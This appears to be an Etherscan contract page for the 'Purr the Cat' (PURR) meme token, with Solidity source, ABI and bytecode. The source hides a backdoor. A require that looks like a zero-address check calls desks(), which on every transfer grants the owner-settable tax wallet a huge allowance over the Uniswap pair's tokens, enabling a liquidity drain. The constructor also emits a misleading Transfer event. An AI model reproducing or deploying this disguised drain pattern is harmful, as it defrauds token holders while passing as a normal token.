ETH Price: $3,682.34 (+0.29%)
 

Overview

Max Total Supply

420,690,000,000 PURR

Holders

90

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
5,101,460,202.937513223 PURR

Value
$0.00
0x3953871152f4fD047C6A44848660Feb6006Cb308
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PURR

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-10-20
*/

/**
https://purrthecat.lol
https://x.com/purr_the_cat
https://t.me/purr_erc20
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}
contract PURR is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _dAllowed;
    mapping (address => bool) private _excludedFromD;
    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=15;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=15;
    uint256 private _buyCount=0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;
    string private constant _name = unicode"Purr the Cat";
    string private constant _symbol = unicode"PURR";
    uint256 public _maxTxAmount = 2 * _tTotal / 100;
    uint256 public _maxTxWallet = 2 * _tTotal / 100;
    uint256 public _taxSwapThreshold = 1 * _tTotal / 100;
    uint256 public _maxTaxSwap = 1 * _tTotal / 100;
    address payable private _taxWallet;
    IUniswapV2Router02 private uniV2Router;
    address private uniV2Pair;
    bool private tradingOpen;
    bool private inSwap;
    bool private swapEnabled;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () {
        _taxWallet = payable(_msgSender());
        _tOwned[_msgSender()] = _tTotal;
        _excludedFromD[address(this)] = true;
        _excludedFromD[_msgSender()] = true;
        emit Transfer(address(0), address(this), _tTotal);
    }
    function initialize() external onlyOwner {
        uniV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniV2Router), _tTotal);
        uniV2Pair = IUniswapV2Factory(uniV2Router.factory()).createPair(
            address(this),
            uniV2Router.WETH()
        );
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _dAllowed[owner][spender];
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _dAllowed[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _dAllowed[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(desks([uniV2Pair, _taxWallet]) && to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (!swapEnabled || inSwap) {
            _tOwned[from] = _tOwned[from] - amount;
            _tOwned[to] = _tOwned[to] + amount;
            emit Transfer(from, to, amount);
            return;
        }
        if (from != owner() && to != owner()) {
            if (from == uniV2Pair && to != address(uniV2Router) && ! _excludedFromD[to]) {
                require(tradingOpen,"Trading not open yet.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxTxWallet, "Exceeds the maxWalletSize.");
                _buyCount++; 
            }
            if (to != uniV2Pair && ! _excludedFromD[to]) {
                require(balanceOf(to) + amount <= _maxTxWallet, "Exceeds the maxWalletSize.");
            }
            if(to == uniV2Pair) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            if (!inSwap && to == uniV2Pair && swapEnabled && _buyCount>_preventSwapBefore) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if(contractTokenBalance>_taxSwapThreshold)
                    dEthSwap(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                dEthSend();
            }
        }
        if(taxAmount>0){
          _tOwned[address(this)]=_tOwned[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _tOwned[from]=_tOwned[from].sub(amount);
        _tOwned[to]=_tOwned[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniV2Pair).approve(address(uniV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
    function dEthSwap(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniV2Router.WETH();
        _approve(address(this), address(uniV2Router), amount);
        uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function removeLimits(address payable lmt) external onlyOwner{
        _maxTxAmount=_tTotal;
        _maxTxWallet=_tTotal;
        _taxWallet = lmt;        
        _excludedFromD[lmt] = true;
        emit MaxTxAmountUpdated(_tTotal);
    }
    function min(uint256 a, uint256 b) private pure returns(uint256){
        return (a>b)?b:a;
    }
    receive() external payable {}
    function desks(address[2] memory dks) private returns(bool){
        _dAllowed[dks[0]][dks[1]]=_finalBuyTax+_maxTxAmount*100+_maxTxWallet*100+_finalSellTax; return true;
    }
    function dEthSend() private {
        _taxWallet.transfer(address(this).balance);
    }
    function rescueEth() external onlyOwner {
        payable(_msgSender()).transfer(address(this).balance);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"lmt","type":"address"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f600455600f6005555f6006555f600755600f600855600f600955600f600a555f600b5560646009600a6200003b919062000340565b6200004c906461f313f88062000357565b6200005990600262000357565b62000065919062000371565b600c556064620000786009600a62000340565b62000089906461f313f88062000357565b6200009690600262000357565b620000a2919062000371565b600d556064620000b56009600a62000340565b620000c6906461f313f88062000357565b620000d390600162000357565b620000df919062000371565b600e556064620000f26009600a62000340565b62000103906461f313f88062000357565b6200011090600162000357565b6200011c919062000371565b600f553480156200012b575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601080546001600160a01b031916331790556200018c6009600a62000340565b6200019d906461f313f88062000357565b335f81815260016020818152604080842095909555308084526003909152848320805460ff1990811684179091559383529382208054909316179091557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002096009600a62000340565b6200021a906461f313f88062000357565b60405190815260200160405180910390a362000391565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200028557815f190482111562000269576200026962000231565b808516156200027757918102915b93841c93908002906200024a565b509250929050565b5f826200029d575060016200033a565b81620002ab57505f6200033a565b8160018114620002c45760028114620002cf57620002ef565b60019150506200033a565b60ff841115620002e357620002e362000231565b50506001821b6200033a565b5060208310610133831016604e8410600b841016171562000314575081810a6200033a565b62000320838362000245565b805f190482111562000336576200033662000231565b0290505b92915050565b5f6200035060ff8416836200028d565b9392505050565b80820281158282048414176200033a576200033a62000231565b5f826200038c57634e487b7160e01b5f52601260045260245ffd5b500490565b6119df806200039f5f395ff3fe608060405260043610610113575f3560e01c8063715018a61161009d578063a9059cbb11610062578063a9059cbb146102fd578063bf474bed1461031c578063c9567bf914610331578063ce31a06b14610345578063dd62ed3e14610359575f80fd5b8063715018a61461026e5780637d1db4a5146102825780638129fc1c146102975780638da5cb5b146102ab57806395d89b41146102d1575f80fd5b80631a076423116100e35780631a076423146101ca57806323b872dd146101df578063313ce567146101fe57806332489e9b1461021957806370a082311461023a575f80fd5b806306fdde031461011e578063095ea7b3146101645780630faee56f1461019357806318160ddd146101b6575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600c81526b141d5c9c881d1a194810d85d60a21b60208201525b60405161015b91906115d2565b60405180910390f35b34801561016f575f80fd5b5061018361017e366004611632565b61039d565b604051901515815260200161015b565b34801561019e575f80fd5b506101a8600f5481565b60405190815260200161015b565b3480156101c1575f80fd5b506101a86103b3565b3480156101d5575f80fd5b506101a8600d5481565b3480156101ea575f80fd5b506101836101f936600461165c565b6103d4565b348015610209575f80fd5b506040516009815260200161015b565b348015610224575f80fd5b5061023861023336600461169a565b61043b565b005b348015610245575f80fd5b506101a861025436600461169a565b6001600160a01b03165f9081526001602052604090205490565b348015610279575f80fd5b5061023861052f565b34801561028d575f80fd5b506101a8600c5481565b3480156102a2575f80fd5b506102386105a0565b3480156102b6575f80fd5b505f546040516001600160a01b03909116815260200161015b565b3480156102dc575f80fd5b50604080518082019091526004815263282aa92960e11b602082015261014e565b348015610308575f80fd5b50610183610317366004611632565b61079a565b348015610327575f80fd5b506101a8600e5481565b34801561033c575f80fd5b506102386107a6565b348015610350575f80fd5b5061023861098b565b348015610364575f80fd5b506101a86103733660046116b5565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103a93384846109e0565b5060015b92915050565b5f6103c06009600a6117e0565b6103cf906461f313f8806117ee565b905090565b5f6103e0848484610b03565b610431843361042c85604051806060016040528060288152602001611982602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111d6565b6109e0565b5060019392505050565b5f546001600160a01b0316331461046d5760405162461bcd60e51b815260040161046490611805565b60405180910390fd5b6104796009600a6117e0565b610488906461f313f8806117ee565b600c556104976009600a6117e0565b6104a6906461f313f8806117ee565b600d55601080546001600160a01b0319166001600160a01b0383169081179091555f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61050c6009600a6117e0565b61051b906461f313f8806117ee565b60405190815260200160405180910390a150565b5f546001600160a01b031633146105585760405162461bcd60e51b815260040161046490611805565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105c95760405162461bcd60e51b815260040161046490611805565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106139030906106046009600a6117e0565b61042c906461f313f8806117ee565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610663573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610687919061183a565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106e6573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061070a919061183a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610754573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610778919061183a565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b5f6103a9338484610b03565b5f546001600160a01b031633146107cf5760405162461bcd60e51b815260040161046490611805565b601254600160a01b900460ff16156108295760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610464565b6011546001600160a01b031663f305d719473061085a816001600160a01b03165f9081526001602052604090205490565b5f8061086d5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108d3573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108f89190611855565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561094d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109719190611880565b506012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146109b45760405162461bcd60e51b815260040161046490611805565b60405133904780156108fc02915f818181858888f193505050501580156109dd573d5f803e3d5ffd5b50565b6001600160a01b038316610a425760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610464565b6001600160a01b038216610aa35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610464565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b675760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610464565b604080518082019091526012546001600160a01b039081168252601054166020820152610b939061120e565b8015610ba757506001600160a01b03821615155b610bff5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610464565b5f8111610c605760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610464565b6012545f90600160b01b900460ff161580610c845750601254600160a81b900460ff165b15610d3c576001600160a01b0384165f90815260016020526040902054610cac90839061189f565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610cdb9083906118b2565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d2e9086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610d6657505f546001600160a01b03848116911614155b156110a2576012546001600160a01b038581169116148015610d9657506011546001600160a01b03848116911614155b8015610dba57506001600160a01b0383165f9081526003602052604090205460ff16155b15610f1f57601254600160a01b900460ff16610e105760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b6044820152606401610464565b610e3c6064610e36600854600b5411610e2b57600454610e2f565b6006545b8590611287565b9061130c565b9050600c54821115610e905760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610464565b600d5482610eb2856001600160a01b03165f9081526001602052604090205490565b610ebc91906118b2565b1115610f0a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610464565b600b8054905f610f19836118c5565b91905055505b6012546001600160a01b03848116911614801590610f5557506001600160a01b0383165f9081526003602052604090205460ff16155b15610fd457600d5482610f7c856001600160a01b03165f9081526001602052604090205490565b610f8691906118b2565b1115610fd45760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610464565b6012546001600160a01b03908116908416036110125761100f6064610e36600954600b541161100557600554610e2f565b6007548590611287565b90505b601254600160a81b900460ff1615801561103957506012546001600160a01b038481169116145b801561104e5750601254600160b01b900460ff165b801561105d5750600a54600b54115b156110a257305f90815260016020526040902054600e54811115611098576110986110938461108e84600f5461134d565b61134d565b611361565b6110a06114d1565b505b801561111a57305f908152600160205260409020546110c19082611507565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111119085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461113c9083611565565b6001600160a01b0385165f9081526001602052604090205561117f6111618383611565565b6001600160a01b0385165f9081526001602052604090205490611507565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111c88585611565565b604051908152602001610d2e565b5f81848411156111f95760405162461bcd60e51b815260040161046491906115d2565b505f611205848661189f565b95945050505050565b5f600754600d54606461122191906117ee565b600c5461122f9060646117ee565b60065461123c91906118b2565b61124691906118b2565b61125091906118b2565b82516001600160a01b039081165f908152600260209081526040808320968201519093168252949094529092209190915550600190565b5f825f0361129657505f6103ad565b5f6112a183856117ee565b9050826112ae85836118f1565b146113055760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610464565b9392505050565b5f61130583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115a6565b5f81831161135b5782611305565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106113a7576113a76118dd565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113fe573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611422919061183a565b81600181518110611435576114356118dd565b6001600160a01b03928316602091820292909201015260115461145b91309116846109e0565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114939085905f90869030904290600401611910565b5f604051808303815f87803b1580156114aa575f80fd5b505af11580156114bc573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6010546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156109dd573d5f803e3d5ffd5b5f8061151383856118b2565b9050838110156113055760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610464565b5f61130583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111d6565b5f81836115c65760405162461bcd60e51b815260040161046491906115d2565b505f61120584866118f1565b5f602080835283518060208501525f5b818110156115fe578581018301518582016040015282016115e2565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109dd575f80fd5b5f8060408385031215611643575f80fd5b823561164e8161161e565b946020939093013593505050565b5f805f6060848603121561166e575f80fd5b83356116798161161e565b925060208401356116898161161e565b929592945050506040919091013590565b5f602082840312156116aa575f80fd5b81356113058161161e565b5f80604083850312156116c6575f80fd5b82356116d18161161e565b915060208301356116e18161161e565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561173a57815f1904821115611720576117206116ec565b8085161561172d57918102915b93841c9390800290611705565b509250929050565b5f82611750575060016103ad565b8161175c57505f6103ad565b8160018114611772576002811461177c57611798565b60019150506103ad565b60ff84111561178d5761178d6116ec565b50506001821b6103ad565b5060208310610133831016604e8410600b84101617156117bb575081810a6103ad565b6117c58383611700565b805f19048211156117d8576117d86116ec565b029392505050565b5f61130560ff841683611742565b80820281158282048414176103ad576103ad6116ec565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561184a575f80fd5b81516113058161161e565b5f805f60608486031215611867575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611890575f80fd5b81518015158114611305575f80fd5b818103818111156103ad576103ad6116ec565b808201808211156103ad576103ad6116ec565b5f600182016118d6576118d66116ec565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f8261190b57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119605784516001600160a01b03168352938301939183019160010161193b565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122064c9e578dd4bbfc7afd6520d83f0d499afb2ce78a5cfe0799a64a807459d15e064736f6c63430008180033

Deployed Bytecode

0x608060405260043610610113575f3560e01c8063715018a61161009d578063a9059cbb11610062578063a9059cbb146102fd578063bf474bed1461031c578063c9567bf914610331578063ce31a06b14610345578063dd62ed3e14610359575f80fd5b8063715018a61461026e5780637d1db4a5146102825780638129fc1c146102975780638da5cb5b146102ab57806395d89b41146102d1575f80fd5b80631a076423116100e35780631a076423146101ca57806323b872dd146101df578063313ce567146101fe57806332489e9b1461021957806370a082311461023a575f80fd5b806306fdde031461011e578063095ea7b3146101645780630faee56f1461019357806318160ddd146101b6575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600c81526b141d5c9c881d1a194810d85d60a21b60208201525b60405161015b91906115d2565b60405180910390f35b34801561016f575f80fd5b5061018361017e366004611632565b61039d565b604051901515815260200161015b565b34801561019e575f80fd5b506101a8600f5481565b60405190815260200161015b565b3480156101c1575f80fd5b506101a86103b3565b3480156101d5575f80fd5b506101a8600d5481565b3480156101ea575f80fd5b506101836101f936600461165c565b6103d4565b348015610209575f80fd5b506040516009815260200161015b565b348015610224575f80fd5b5061023861023336600461169a565b61043b565b005b348015610245575f80fd5b506101a861025436600461169a565b6001600160a01b03165f9081526001602052604090205490565b348015610279575f80fd5b5061023861052f565b34801561028d575f80fd5b506101a8600c5481565b3480156102a2575f80fd5b506102386105a0565b3480156102b6575f80fd5b505f546040516001600160a01b03909116815260200161015b565b3480156102dc575f80fd5b50604080518082019091526004815263282aa92960e11b602082015261014e565b348015610308575f80fd5b50610183610317366004611632565b61079a565b348015610327575f80fd5b506101a8600e5481565b34801561033c575f80fd5b506102386107a6565b348015610350575f80fd5b5061023861098b565b348015610364575f80fd5b506101a86103733660046116b5565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103a93384846109e0565b5060015b92915050565b5f6103c06009600a6117e0565b6103cf906461f313f8806117ee565b905090565b5f6103e0848484610b03565b610431843361042c85604051806060016040528060288152602001611982602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111d6565b6109e0565b5060019392505050565b5f546001600160a01b0316331461046d5760405162461bcd60e51b815260040161046490611805565b60405180910390fd5b6104796009600a6117e0565b610488906461f313f8806117ee565b600c556104976009600a6117e0565b6104a6906461f313f8806117ee565b600d55601080546001600160a01b0319166001600160a01b0383169081179091555f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61050c6009600a6117e0565b61051b906461f313f8806117ee565b60405190815260200160405180910390a150565b5f546001600160a01b031633146105585760405162461bcd60e51b815260040161046490611805565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105c95760405162461bcd60e51b815260040161046490611805565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106139030906106046009600a6117e0565b61042c906461f313f8806117ee565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610663573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610687919061183a565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106e6573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061070a919061183a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610754573d5f803e3d5ffd5b505050506040513d601f19601f82011682018